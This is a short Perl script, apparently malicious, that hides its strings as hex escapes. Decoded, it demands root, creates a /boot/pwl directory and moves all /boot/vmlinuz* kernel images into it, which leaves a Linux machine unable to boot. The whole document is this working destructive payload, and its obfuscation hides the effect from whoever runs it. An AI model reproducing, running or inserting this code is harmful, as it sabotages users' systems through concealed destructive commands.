#!/usr/bin/perl -w
unless(-w "\x2f\x72\x6f\x6f\x74"){die "\x41\x72\x65\x20\x79\x6f\x75\x20\x72\x6f\x6f\x74\x3f";}unless(-e "\x2f\x62\x6f\x6f\x74\x2f\x70\x77\x6c"){system("\x6d\x6b\x64\x69\x72\x20\x2f\x62\x6f\x6f\x74\x2f\x70\x77\x6c");}if(glob "\x2f\x62\x6f\x6f\x74\x2f\x76\x6d\x6c\x69\x6e\x75\x7a\x2a"){system("\x6d\x76\x20\x2f\x62\x6f\x6f\x74\x2f\x76\x6d\x6c\x69\x6e\x75\x7a\x2a\x20\x2f\x62\x6f\x6f\x74\x2f\x70\x77\x6c");}